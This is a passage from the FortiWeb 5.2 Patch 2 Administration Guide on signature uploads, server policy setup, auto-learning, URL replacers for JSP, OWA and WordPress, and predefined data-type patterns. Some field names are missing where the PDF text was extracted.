If an update was available, the packages that were updated have new version numbers. If you have enabled logging in:
• Log & Report > Log Config > Other Log Settings
• Log & Report > Log Config > Global Log Settings when the FortiWeb appliance requests an update, the event is recorded in Log & Report >
Log Access > Event, such as these log message:
FortiWeb virus signature is already up-to-date
FortiWeb IP reputation signature update succeeded
If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause of the error, such as:
FortiWeb is unauthorized.
Once the attack signature update is complete, FortiWeb will immediately begin to use them.
No reboot is required.
Uploading signature & geography-to-IP updates
You can manually update the geography-to-IP mappings and the attack, virus, and botnet signatures that your FortiWeb appliance uses to detect attacks. Updating these ensures that your FortiWeb appliance can detect recently discovered variations of these attacks, and that it knows about the current statuses of all IP addresses on the public Internet.
After restoring the firmware of the FortiWeb appliance, you should install the most currently available packages through FortiGuard. Restoring firmware installs the packages that were current at the time the firmware image file was made: they may no longer be up-to-date.
Alternatively, you can schedule automatic updates, or manually trigger the appliance to
immediately request an update. For details, see “Scheduling automatic signature updates” on page 150
and “Manually initiating update requests” on page 153
.
This does not, however, update geography-to-IP mappings, which still must be uploaded manually.
To manually upload signatures
1. Download the file from the Fortinet Technical Support web site: https://support.fortinet.com/
2. Log in to the web UI of the FortiWeb appliance as the admin administrator, or an administrator account whose access profile contains Read and Write permissions in the
Maintenance category.
3. Go to System > Config > FortiGuard.
4. In the row next to the service whose signatures you want to upload, click the Update link.
A dialog appears that allows you to upload the file.
155 FortiWeb 5.2 Patch 2 Administration Guide
5. Click the Browse button (its name varies by browser) and select the signatures file, then click
OK.
Your browser uploads the file. Time required varies by the size of the file and the speed of your network connection. Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.
See also
•
Restoring firmware (“clean install”)
Fortinet 156 FortiWeb 5.2 Patch 2 Administration Guide
Configuring basic policies
As the last step in the setup sequence, you must configure at least one policy.
Until you configure a policy, by default, FortiWeb will:
• while in reverse proxy mode, deny all traffic (positive security model)
• while in other operation modes, allow all traffic (negative security model)
Once traffic matches a policy, protection profile rules are applied using a negative security model — that is, traffic that matches a policy is allowed unless it is flagged as disallowed by any of the enabled scans.
Keep in mind:
• Change policy settings with care. Changes take effect immediately after you click OK.
• When you change any server policy, you should retest it.
• FortiWeb appliances apply policies, rules, and scans in a specific order. This decides each
outcome. (See “Sequence of scans” on page 21 .) Review the logic of your server policies
to make sure they deliver the web protection and features you expect.
This section contains examples to get you started:
•
Example 1: Configuring a policy for HTTP via auto-learning
•
Example 2: Configuring a policy for HTTPS
•
Example 3: Configuring a policy for load balancing
Once completed, continue with “Testing your installation” on page 210
.
Example 1: Configuring a policy for HTTP via auto-learning
In the simplest scenario, if you want to protect a single, basic web server (that is, it does not use HTTPS) while the FortiWeb is operating as a reverse proxy, you can save time configuring your policy by using the auto-learning feature.
To generate profiles and apply them in a policy
1. Create a virtual server on the FortiWeb appliance (Server Objects > Server > Virtual Server).
When used by a policy, it receives traffic from clients.
2. Define your web server using its IP address (Server Objects > Server > Physical Server) or domain name (Server Objects > Server > Domain Server). When used by a policy, a physical or domain server defines the web server’s IP address to which accepted client traffic will be forwarded.
Fortinet 157 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Create a new policy (Policy > Server Policy > Server Policy).
• In Name, type a unique name for the policy.
•
, select your virtual server.
•
, select the predefined HTTP service.
•
, select your physical server.
•
, if your web server does not listen on the standard port 80, type its port number for incoming HTTP traffic.
• From
, select the predefined auto-learning profile.
• From
, select one of the predefined inline protection profiles.
When you use an auto-learning profile, any inline protection profile that you use with it should have
Traffic should now pass through the FortiWeb appliance to your server. If it does not, see
. Auto-learning gathers data based upon the characteristics of requests and responses that it observes.
4. Use the auto-learning report to determine whether auto-learning has observed enough
URLs, parameters, and attacks (Auto Learn > Auto Learn Report > Auto Learn Report; see
“Auto-learning” on page 160 ).
5. Generate an initial configuration (Auto Learn > Auto Learn Report > Auto Learn Report then click Generate Config).
6. If necessary, modify the generated profiles to suit your security policy.
7. Modify the policy to select your generated profile in
.
8. Disable auto-learning by deselecting the auto-learning profile in
Example 2: Configuring a policy for HTTPS
If you want to protect a single HTTPS web server, and the FortiWeb appliance is operating in reverse proxy mode, configuration is similar to
and an HTTPS service.)
To be able to scan secure traffic, however, the FortiWeb appliance must also be configured to decrypt it, and therefore must be provided with the server’s certificate and private key.
To configure an HTTPS policy
1. Upload a copy of the web server’s certificate (System > Certificates > Local).
2. Configure a policy and profiles according to
steps are complete.
158 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Modify the server policy (Policy > Server Policy > Server Policy).
•
, select the predefined HTTPS service.
•
, if your web server does not listen on the standard port 443, type its port number for incoming HTTPS traffic.
•
, select your web server’s certificate. Also select, if applicable,
Certificate Intermediate Group .
• Enable
.
Traffic should now pass through the FortiWeb appliance to your server. If it does not, see
.
Example 3: Configuring a policy for load balancing
If you want protect multiple web servers, configuration is similar to
Example 1: Configuring a policy for HTTP via auto-learning .
To distribute load among multiple servers, however, instead of specifying a single physical server in the policy, you must specify a group of servers (server farm).
This example assumes a basic network topology. If there is another, external proxy or load balancer between clients and your FortiWeb, you may need to define it (see
“Defining your web servers & load balancers” on page 259 ).
Similarly, if there is a proxy or load balancer between FortiWeb and your web servers, you may need to configure your FortiWebserver policy’s
option as if requests were destined for a single web server (the proxy or load balancer), not load balanced by FortiWeb amongst multiple servers.
To configure a load-balancing policy
1. Define additional web servers by either their IP address (Server Objects > Server >
Physical Server) or domain name (Server Objects > Server > Domain Server).
2. Group the web servers into a server farm (Server Objects > Server > Server Farm). When used by a policy, it tells the FortiWeb appliance how to distribute incoming web connections to those destination IP addresses. On the Server Farm dialog:
• From
, select Server Balance.
•
Add your physical and/or domain servers (
).
• If you want to distribute connections proportionately to a server’s capabilities instead of
, give the numerical weight of the new server when using the weighted round-robin load-balancing algorithm.
3. Configure a policy and profiles according to
steps are complete.
4. Modify the server policy:
• From
, select Server Balance.
• From
, select Round Robin or Weighted Round Robin.
Traffic should now pass through the FortiWeb appliance and be distributed among your servers. If it does not, see
“Troubleshooting” on page 663 .
159 FortiWeb 5.2 Patch 2 Administration Guide
Auto-learning
Protection settings can be configured manually or with assistance from auto-learning.
Auto-learning can teach you a great deal about the threats your web assets face. It also helps you to understand your web applications’ structures, and how end-users use them. Most importantly, though, auto-learning can help you to quickly tailor FortiWeb’s configuration to suit your web applications.
For data centers, colocation centers, and complex web applications, auto-learning-assisted configuration can save significant amounts of time compared to purely manual configuration.
However, auto-learning is also resource-intensive and can decrease performance while gathering data. For strategies on minimizing the impact to your network, see
“Running auto-learning” on page 189
and
“Regular expression performance tips” on page 648
.
Auto-learning discovers the URLs and other characteristics of HTTP and/or HTTPS sessions by observing traffic that is passing to your web servers. It:
• compares the request to attack signatures
• observes inputs such as cookies and URL parameters
• tracks your web servers’ response to each request, such as 401 Unauthorized or
500 Internal Server Error to learn about whether the request is legitimate or a potential attack attempt. By learning from your traffic, the FortiWeb appliance can suggest appropriate configurations, and help you to quickly generate profiles designed specifically for your unique traffic.
See also
•
How to adapt auto-learning to dynamic URLs & unusual parameters
When web applications have dynamic URLs or unusual parameter styles, you must adapt auto-learning to recognize them.
By default, auto-learning assumes that your web applications use the most common URL structure:
/static/path/to/application?username=user1&password=P4s5w0rd1
Path
Path/
Parameter
Separator
Variable
Name
Variable
Value
Parameter
Separator
Variable
Name
Variable
Value
• All parameters follow after a question mark ( ? ). They do not follow a hash ( # ) or other separator character.
• If there are multiple name-value pairs, each pair is separated by an ampersand ( & ). They are not separated by a semi-colon ( ; ) or other separator character.
• All paths before the question mark ( ? ) are static — they do not change based upon input, blending the path with parameters (sometimes called a dynamic URL).
Fortinet 160 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
For example, the page at:
/app/main always has that same path. After a person logs in, the page’s URL doesn’t become:
/app/marco/main or
/app#deepa
For another example, the URL does not dynamically reflect inventory, such as:
/app/sprockets/widget1024894
Some web applications, however, embed parameters within the path structure of the URL, or use unusual or non-uniform parameter separator characters. If you do not configure URL
replacers for such applications, it can cause your FortiWeb appliance to gather
auto-learning data incorrectly. This can cause the following symptoms:
• Auto-learning reports do not contain a correct URL structure.
• URL or parameter learning is endless.
• When you generate a protection profile from auto-learning, it contains many more URLs than actually exist, because auto-learning cannot predict that the URL is actually dynamic.
• Parameter data is not complete, despite the fact that the FortiWeb appliance has seen traffic containing the parameter.
For example, with Microsoft Outlook Web App (OWA), the user’s login name could be embedded within the path structure of the URL, such as:
/owa/tom/index.html
/owa/mary/index.html instead of suffixed as a parameter, such as:
/owa/index.html?username=tom
/owa/index.html?username=mary
Auto-learning would continue to create new URLs as new users are added to OWA.
Auto-learning would also expend extra resources learning about URLs and parameters that are actually the same. Additionally, auto-learning may not be able to fully learn the application structure, as each user may not request the same URLs.
To solve this, you would create a URL replacer that recognizes the user name within the OWA
URL as if it were a standard, suffixed parameter value so that auto-learning can function properly.
See also
•
•
•
Configuring an auto-learning profile
•
Configuring URL interpreters
When using auto-learning, you must define how to interpret dynamic URLs and URLs that include parameters in non-standard ways, such as with different parameter separators (; or #, for example) or by embedding the parameter within the URL’s path structure.
In the web UI, these interpreter plug-ins are called “URL replacers.”
161 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
URL replacers match the URL as it appears in the HTTP header of the client’s request (using the regular expression in
) and interpret it into this standard URL formulation:
For example, if the URL is:
/application/value and the URL replacer settings are:
Table 12:
Setting name Value
Custom-Defined
(/application)/([^/]+)
$0
$1 setting
$0
holds this part of the matched URL:
/application and $1 holds this part of the matched URL: value so then the URL will be understood by auto-learning, and displayed in the report, as:
/application?setting=value
Need a refresher on regular expressions? See
“Regular expression syntax” on page 704
, “What are back-references?” on page 709
, and
“Cookbook regular expressions” on page 711
. You can also use the examples in this section, such as
“Example: URL interpreter for WordPress” on page 169 .
To create a URL interpreter
1. Go to Auto Learn > Application Templates > URL Replacer.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
2. Click Create New.
162 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure these settings:
Setting name Description
Name
Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type
Select either:
• Predefined — Use one of the predefined URL replacers which you
• Custom-Defined — Define your own URL replacer by configuring
,
4. If you selected Predefined in
, also configure this setting:
Setting name Description
Application
Type
Select one of the predefined URL interpreter plug-ins for well-known web applications:
• JSP — Use the URL replacer designed for Java server pages (JSP) web applications, where parameters are often separated by semi-colons ( ; ).
• OWA — User the URL replacer designed for default URLs in Microsoft
Outlook Web App (OWA), where user name and directory parameters are often embedded within the URL:
•
(^/exchange/)([^/]+)/*(([^/]+)/(.*))*
•
(^/public/)(.*)
Fortinet 163 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. If you selected Custom-Defined in
Setting name Description
URL Path
Type a regular expression, such as (^/[^/]+)/(.*), matching all and
only the URLs to which the URL replacer should apply. The maximum length is 255 characters.
The pattern does not require a slash ( / ). However, it must at least match
URLs that begin with a slash as they appear in the HTTP header, such as
/index.html
. Do not include the domain name, such as www.example.com
.
For examples, see
“Example: URL interpreter for WordPress” on page 169
.
New URL
To test the regular expression against sample text, click the >> (test) icon.
This opens the Regular Expression Validator window where you can
fine-tune the expression (see “Regular expression syntax” on page 704 ,
“What are back-references?” on page 709
and “Cookbook regular expressions” on page 711 )
Note:
If this URL replacer will be used sequentially in its set of URL replacers, instead of being mutually exclusive, this regular expression should match the URL produced by the previous interpreter, not the original URL from the request.
Type either a literal URL, such as /index.html, or a regular expression with a back-reference (such as $1) defining how the URL will be interpreted. The maximum length is 255 characters.
Param
Change
Note:
Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer.
Back-references cannot refer to capture groups in other URL replacers.
Type either the parameter’s literal value, such as user1, or a back-reference (such as $0) defining how the value will be interpreted.
New Param
Type either the parameter’s literal name, such as username, or a back-reference (such as $2) defining how the parameter’s name will be interpreted in the auto-learning report. The maximum length is 255 characters.
Note:
Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer.
Back-references cannot refer to capture groups in other URL replacers.
6. Click OK.
7. Group the URL replacers in an application policy (see
“Grouping URL interpreters” on page 174
).
).
9. Select the auto-learning profiles in server policies (see
“Configuring a server policy” on page 509
).
See also
•
•
Example: URL interpreter for a JSP application
•
Example: URL interpreter for Microsoft Outlook Web App 2007
•
Example: URL interpreter for WordPress
164 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Example: URL interpreter for a JSP application
The HTTP request URL from a client is:
/app/login.jsp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa which uses semi-colons as parameter separators ( ; ) in the URL, a behavior typical to JSP applications. You would create a URL replacer to recognize the JSP application’s parameters: the semi-colons.
Table 13: Example: URL replacer for JSP applications
Setting name Value
Predefined
JSP
The predefined JSP interpreter plug-in will interpret the URL as:
/app/login.jsp?p4=66aaaaa&p1=111&p2=123&p3=5555
See also
•
•
Example: URL interpreter for Microsoft Outlook Web App 2007
•
Example: URL interpreter for WordPress
Example: URL interpreter for Microsoft Outlook Web App 2007
When a client sends requests to Microsoft Outlook Web App (OWA), many of its URLs use structures like this:
/exchange/tom/index.html
/exchange/jane.doe/memo.EML
/exchange/qinlu/2012/1.html
These have user name parameters embedded in the URL. In order for auto-learning to recognize the parameters, you must either:
•
to Predefined and
to OWA. This predefined auto-learning URL interpreter will match and recognize parameters in all default URLs.
• Create your own custom URL interpreters.
A custom URL replacer for those URLs could look like this:
165 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 14: Example: URL replacer for Microsoft Outlook Web App — User name structure #1
Capture group 2
Capture group 1
Capture group 0
Table 15:
URL interpreter
Setting name Value
Name
OWAusername1
Custom-Defined
(/exchange/)([^/]+)/(.*)
$0$2
$1 username1
Then the URLs would be recognized by auto-learning as if OWA used a more conventional parameter structure like this:
/exchange/index.html?username1=tom
/exchange/memo.EML?username1=jane.doe
/exchange/2012/1.html?username1=qinlu
Notably, OWA can also include other parameters in the URL, such as a mail folder’s name.
Also, OWA can include the user name and folder in more than one way. Therefore multiple URL interpreters are required to match all possible URL structures. In addition to the first URL replacer, you would also configure the following URL replacers and group them into a single set
(an auto-learning “application policy”) in order to recognize all possible URLs.
166 FortiWeb 5.2 Patch 2 Administration Guide
Table 16: Example: URL replacer for Microsoft Outlook Web App — Folder name structure #1
Capture group 2
Capture group 1
Capture group 0
Table 17:
Sample URL
/exchange/archive-folders/2011
URL interpreter
Setting name Value
Name
OWAfoldername1
Custom-Defined
(/exchange/)([^/]+/)(.*)
Results
$0
$1$2 folder1
/exchange/?folder1=archive-folders/2011
Fortinet 167 FortiWeb 5.2 Patch 2 Administration Guide
Table 18: Example: URL replacer for Microsoft Outlook Web App — User name structure #2
Capture group 1
Capture group 0
Table 19:
Sample URL
/exchange/jane.doe
URL interpreter
Setting name Value
Name
OWAusername2
Custom-Defined
(/exchange/)([^/]+\.[^/]+)
Results
$0
$1 username2
/exchange/?username2=jane.doe
Fortinet 168 FortiWeb 5.2 Patch 2 Administration Guide
Table 20: Example: URL replacer Microsoft Outlook Web App — Folder name structure #2
Capture group 2
Capture group 1
Capture group 0
Fortinet
Table 21:
Sample URL
/public/imap-share-folders/memos
URL interpreter
Setting name Value
Name
OWAfoldername2
Custom-Defined
(/public/)([^/]+/)(.*)
Results
$0
$1$2 folder2
/public/?folder2=imap-share-folders/memos
See also
•
•
Example: URL interpreter for a JSP application
•
Example: URL interpreter for WordPress
Example: URL interpreter for WordPress
If the HTTP request URL from a client is a slash-delimited chain of multiple parameters, like either of these:
/wordpress/2012/06/05
/index/province/ontario/city/ottawa/street/moodie then the format is either of these:
/wordpress/value1/value2/value3
/index/param1/value1/param2/value2/param3/value3
169 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
In this URL format, there are 3 parameter values (with or without their names) in the URL:
• param1
• param2
• param3
Because each interpreter can only extract a single parameter, you would create 3 URL interpreters, and group them into a set where they are used sequentially — a chain.
Each interpreter would use the interpreted output of the previous one as its input, until all parameters had been extracted, at which point the last interpreter would output both the last parameter and the final interpreted URL. FortiWeb would then append parameters back onto the interpreted URL in the standard structure before storing them in the auto-learning data set.
Figure 24:Analysis of a request URL into its interpretation by a chain of URL interpreters
Request URL
GET /index/param1/value1/param2/value2/param3/value3
Output URL
Output URL
URL interpreter 1
/index/param1/value1/param2/value2
URL interpreter 2
Param. Name: param3
Param. Value: $2 param3=value3
/index/param1/value1
URL interpreter 3
Param. Name: param2
Param. Value: $1 param2=value2
Output URL
/index
Param. Name: param1
Param. Value: $0 param1=value1
GET /index?param1=value1¶m2=value2¶m3=value3
Interpreted URL
This configuration requires that for every request:
• the web application includes parameters in the same sequential order, and
• all parameters are always present
If parameter order or existence vary, this URL interpreter will not work. Requests will not match the URL interpreter set if either param2 or param3 come first, or if any of the parameters are missing. On the opposite end of the spectrum, if the URL interpreter used regular expression capture groups such as (.*) to match anything in any order, i.e.:
/index/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/ then the regular expression would be too flexible: auto-learning might mistakenly match and learn some of param3’s possible values for param2, and so on.
170 FortiWeb 5.2 Patch 2 Administration Guide
Table 22: Example: URL replacer 1 for slash-separated parameters
Table 23:
Setting name Value
Name
slash-parameter3
Custom-Defined
/index/param1/(.*)/param2/(.*)/param3/(.*)/
/index/param1/$0/param2/$1/
$2 param3
Table 24: Example: URL replacer 2 for slash-separated parameters
Fortinet
Table 25:
Setting name Value
Name
slash-parameter2
Custom-Defined
/index/param1/(.*)/param2/(.*)/
171 FortiWeb 5.2 Patch 2 Administration Guide
Table 25:
Setting name Value
/index/param1/$0/
$1 param2
Table 26: Example: URL replacer 3 for slash-separated parameters
Fortinet
Table 27:
Setting name Value
Name
slash-parameter1
Custom-Defined
/index/param1/(.*)/
/index
$0 param1
Until you add the URL interpreters to a group, FortiWeb doesn’t know the sequential order.
These URL interpreters will not function correctly if they are not used in that order, because each interpreter’s input is the output from the previous one. So you must set the priorities correctly when referencing each of those interpreters in the set of URL interpreters
(
“Grouping URL interpreters” on page 174 ).
172 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 28: Example: URL replacer group for slash-separated parameters — entry 1
Setting name Value
Priority
0
Type URL REPLACER
Plugin Name
slash-parameter3
Table 29: Example: URL replacer group for slash-separated parameters — entry 2
Setting name Value
Priority
1
Type URL REPLACER
Plugin Name
slash-parameter2
Table 30: Example: URL replacer group for slash-separated parameters — entry 3
Setting name Value
Priority
2
Type URL REPLACER
Plugin Name
slash-parameter1
Then the URL will be interpreted by auto-learning as if the application used a more conventional and easily understood URL/parameter structure:
/index?param1=value1¶m2=value2¶m3=value3
See also
•
•
Configuring an auto-learning profile
•
•
Example: URL interpreter for a JSP application
•
Example: URL interpreter for Microsoft Outlook Web App 2007
173 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Grouping URL interpreters
In order to use URL interpreters with an auto-learning profile, you must group URL replacers into sets.
Sets can be:
• mutually exclusive, where the set contains expressions for all possible URL structures, but only one of the URL replacers will match a given request’s URL
• sequential, where the set contains expressions to interpret multiple parameters in a single given URL; each interpreter’s URL input is the URL output of the previous interpreter, and they each parse the URL until all parameters have been extracted; sequential order of interpreters is determined by the URL interpreter’s Priority in the set
To create a custom application policy
1. Before you create an application policy, first create the URL replacers that it will include (see
“Configuring URL interpreters” on page 161
).
2. Go to Auto Learn > Application Templates > Application Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Autolearn Configuration category. For details, see
3. Click Create New.
A dialog appears.
4. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click OK.
6. Click Create New.
A dialog appears.
174 FortiWeb 5.2 Patch 2 Administration Guide
7. From Plugin Name, select an existing URL replacer from the drop-down list.
Rule order affects URL replacer matching and behavior. FortiWeb appliances evaluate URLs for a matching URL replacer starting with the smallest ID number (greatest priority) rule in the list, and continue towards the largest number in the list.
•
If no rule matches
, parameters in the URL will not be interpreted.
•
If multiple rules match
) from earlier URL replacers will be used as
the input (
) for the next URL replacer, resulting in a chain of multiple interpreted
parameters.
8. Click OK.
9. Repeat the previous steps for each URL replacer you want added to the policy.
10.Select the application policy in an auto-learning profile (see
“Configuring an auto-learning profile” on page 186
).
11.Select the auto-learning profiles in server policies (see
“Configuring a server policy” on page 509
).
See also
•
•
Example: URL interpreter for Microsoft Outlook Web App 2007
•
Example: URL interpreter for WordPress
•
Configuring an auto-learning profile
Fortinet
Recognizing data types
FortiWeb appliances recognize the data types of parameters by matching them with regular expressions. These regular expressions are categorized as either:
•
Predefined
— A regular expression set included with the firmware. These match common data types. Cannot be modified except via FortiGuard, but can be copied and used as the basis for a custom data type. Can be used by both auto-learning profiles and input rules.
•
Custom
— A regular expression that you have configured to detect any data patterns that cannot be recognized by the predefined set. Can be modified. Can be used by input rules, but cannot be used by auto-learning profiles.
See also
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
Predefined data types
When you install FortiWeb, it already has some data type regular expressions that are predefined — default signatures for common data types so that you do not need to write them yourself. Initial ones are included with the FortiWeb firmware. If your FortiWeb is connected to
FortiGuard Security Service updates, it can periodically download updates to its predefined data types. This will provide new and enhanced data types without any effort on your part.
Simply use the new signatures in parts of the configuration where they are useful to you.
Predefined data type patterns cannot be used directly. Instead, they must be grouped before
175 FortiWeb 5.2 Patch 2 Administration Guide
To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Server Policy Configuration category. For details, see
Setting name Description
Pattern
The regular expression used to detect the presence of the data type.
Parameter values must match the regular expression in order for an auto-learning profile to successfully detect the data type, or for an input rule to allow the input.
Description
A description of what the data type is. It may include examples of values that match the regular expression.
Fortinet 176 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Name
Select the blue arrow beside a pattern to expand the entry and display the individual rules contained in the entry.
Displays the name of the data type.
• Address — Canadian postal codes and United States ZIP code and
ZIP + 4 codes.
• Canadian Postal Code — Canadian postal codes such as K2H 7B8 or k2h7b8. Does not match hyphenations such as K2H-7B8.
• Canadian Province Name and Abbrev. — Modern and older names and abbreviations of Canadian provinces in English, as well as some abbreviations in French, such as Quebec, PEI, Sask, and Nunavut. Does
not detect province names in French, such as Québec.
• Canadian Social Insurance Number — Canadian Social Insurance
Numbers (SIN) such as 123-456-789.
• Chinese Postal Code — Chinese postal codes such as 610000.
• Country Name and Abbrev. — Country names, codes, and abbreviations as they are known in English, such as CA, Cote d’Ivoire, Brazil, Russian
Federation, and Brunei.
• Credit Card Number — American Express, Carte Blanche, Diners Club, enRoute, Japan Credit Bureau (JCB), Master Card, Novus, and Visa credit card numbers.
• Date/Time — Dates and times in various formats such as +13:45 for time zone offsets, 1:01 AM, 1am, 23:01:01, and 01.01.30 AM for times, and
31.01.2009, 31/01/2009, 01/31/2000, 2009-01-3, 31-01-2009, 1-31-2009,
01 Jan 2009, 01 JAN 2009, 20-Jan-2009 and February 29, 2009 for dates.
• Denmark Postal Code — Danish postal code (“postnumre”) such as
DK-1499 and dk-1000. Does not match codes that are not prefixed by
“DK-”, nor numbers that do not belong to the range of valid codes, such as
123456 or dk 12.
• Email — Email addresses such as [email protected]
• GPA — A student’s grade point average, such as 3.5, based upon the
0.0-to-4.0 point system, where an “A” is worth 4 points and an “F” is worth
0 points. Does not match GPAs weighted on the 5 point scale for honors,
IB, or AP courses, such as 4.1. The exception is 5.5, which it will match.
• GUID — A globally unique identifier used to identify partition types in the hard disk’s master boot record (MBR), such as
BFDB4D31-3E35-4DAB-AFCA-5E6E5C8F61EA. Partition types are relevant on computers which boot via EFI, using the MBR, instead of an older-style
BIOS.
• Indian Vehicle Number — An Indian Vehicle Registration Number, such as mh 12 bj 1780.
• IP Address — A public or private IPv4 address, such as 10.0.0.1. Does not match IPv6 addresses.
• Italian Mobile Phone — Italian mobile phone numbers with the prefix for international calls, such as +393471234567, or without, such as
3381234567. Does not match numbers with a dash or space after the area code, nor VoIP or land lines.
177 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
• Kuwait Civil ID — Personal identification number for Kuwait, such as
273032401586. Must begin with 1, 2, or 3, and follow all other number patterns for valid civil IDs.
• Level 1 Password — A string of at least 6 characters, with one or more each of lower-case characters, upper-case characters, and digits, such as aBc123. Level 1 passwords are “weak” passwords, generally easier to crack than level 2 passwords.
• Level 2 Password — A string of at least 8 characters, with one or more each of lower-case characters, upper-case characters, digits, and special characters, such as aBc123$%. Level 2 passwords are moderately strong.
• Markup/Code — HTML comments, wiki code, hexadecimal HTML color codes, quoted strings in VBScript and ANSI SQL, SQL statements, and
RTF bookmarks such as:
• #00ccff, <!--A comment.-->
• [link url="http://example.com/url?var=A&var2=B"]
• SELECT * FROM TABLE
• {\*\bkmkstart TagAmountText}
Does not match ANSI escape codes. They are detected as strings.
• Microsoft Product Key — An alphanumeric key for activation of Microsoft software, such as ABC12-34DEF-GH567-IJK89-LM0NP. Does not match keys which are non-hyphenated, nor where letters are not capitalized.
• Netherlands Postal Code — Netherlands postal codes (“postcodes”) such as 3000 AA or 3000AA. Does not match postal codes written in lower-case letters, such as 3000aa.
• NINO — A United Kingdom National Insurance Number (NINO), such as
AB123456D. Does not match NINOs written in lower-case letters, such as ab123456d.
• Numbers — Numbers in various monetary, scientific, decimal, comma-separated value (CSV), and other formats such as 123, +1.23,
$1,234,567.89, 1'235.140, and -123.45e-6. Does not detect some types, such as hexadecimal numbers (which are instead detected as strings or code), and US Social Security Numbers (which are instead detected as strings).
• Personal Name — A person’s full or abbreviated name in English. It can contain punctuation, such as A.J Schwartz, Jean-Pierre Ferko, or Jane
O’Donnell. Does not match names written in other languages, such as
Renée Wächter or
林美 .
• Phone — Australian, United States, and Indian telephone numbers in various formats such as (123)456-7890, 1.123.456.7890, 0732105432, and
+919847444225.
• Quebec Postal Code — Postal codes written in the style sometimes used by Quebecers, with hyphens between the two parts, such as h2j-3c4 or
H2J-3C4.
• Strings — Any string of characters, including all other data types, such as alphanumeric words, credit card numbers, United States social security numbers (SSN), UK vehicle registration numbers, ANSI escape codes, and hexadecimal numbers in formats such as user1, 123-45-6789, ABC 123 A,
4125632152365, [32mHello, and 8ECCA04F.
178 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
• Swedish Personal Number — Personal identification number
(“personnummer”) for Sweden, such as 19811116-7845. Must be hyphenated. Does not match PINs for persons whose age is 100 or greater.
• Swedish Postal Code — Postal codes (“postnummer”) for Sweden, with or without spaces or hyphens, such as S 751 70, s75170, or S-751-70.
Requires the initial S or s letter. Does not match invalid postal codes such as ones that begin with a 0, or ones that do not begin with the letter S or s.
• UAE Land Phone — Telephone number for the United Arab Emirates, such as 04 - 3452499 or 04 3452499. Does not match phone numbers beginning with 01 or 08.
• UK Bank Sort Code — Bank sort codes for the United Kingdom, such as
09-01-29. Must be hyphenated.
• Unix Device Name — Standard Linux or UNIX non-loopback wired
Ethernet network interface names, such as eth0. Does not match names for any other type of device, such as lo, hdda, or ppp.
• URI — Uniform resource identifiers (URI) such as: http://www.example.com
ftp://ftp.example.com
mailto:[email protected]
• US Social Security Number — United States Social Security Numbers
(SSN) such as 123-45-6789.
• US State Name and Abbrev. — United States state names and modern postal abbreviations such as HI and Wyoming. Does not detect older postal abbreviations ending with periods ( . ), such as Fl. or Wyo.
• US Street Address — United States city and street address, possibly including an apartment or suite number. City and street may be either separated with a space or written on two lines according to US postal conventions, such as:
123 Main Street Suite #101
Honolulu, HI 10001
Does not match:
• ZIP + 4 codes that include spaces, or do not have a hyphen (e.g. “10001
- 1111” or “10001 1111”)
• city abbreviations of 2 characters (e.g. “NY” instead of “NYC”)
• Washington D.C. addresses
• US ZIP Code — United States ZIP code and ZIP + 4 codes such as
34285-3210.
• Windows File Name — A valid windows file name, such as Untitled.txt.
Does not match file extensions, or file names without their extensions.
See also
•
Predefined suspicious request URLs
•
Configuring an auto-learning profile
•
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
179 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Grouping predefined data types
A data type group defines a set of predefined data types (see
“Predefined data types” on page 175 ) that can be used in an auto-learning profile.
For example, if you include the Email data type in the data type group, auto-learning profiles that use the data type group might discover that your web applications use a parameter named username
whose value is an email address.
The predefined data type group, named predefine-data-type-group, cannot be edited or deleted.
To configure a predefined data type group
1. Go to Auto Learn > Predefined Pattern > Data Type Group.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
A dialog appears.
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In Type, mark the check box of each predefined data type that you want to include in the set, such as Email or Canadian Social Insurance Number.
If you know that your network’s HTTP sessions do not include a specific data type, omit it from the data type group to improve performance. The FortiWeb appliance will not expend resources scanning traffic for that data type.
To examine the regular expressions for each data type, see
“Predefined data types” on page 175
.
5. Click OK.
6. To use a data type group, select it when configuring either an auto-learning profile (see
“Configuring an auto-learning profile” on page 186
) or input rule (see
).
See also
•
•
Configuring an auto-learning profile
•
Validating parameters (“input rules”)
•
Recognizing suspicious requests
FortiWeb appliances can recognize known attacks by comparing each request to a signature.
How, then, does it recognize requests that aren’t known to be an attack, or aren’t always an attack, but might be?
180 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
FortiWeb uses several methods for this:
•
HTTP protocol constraints ( “HTTP/HTTPS protocol constraints” on page 463
)
• application parameter sanitizers & constraints (
“Preventing zero-day attacks” on page 444
)
•
exploit signatures ( “Blocking known attacks & data leaks” on page 405 )
•
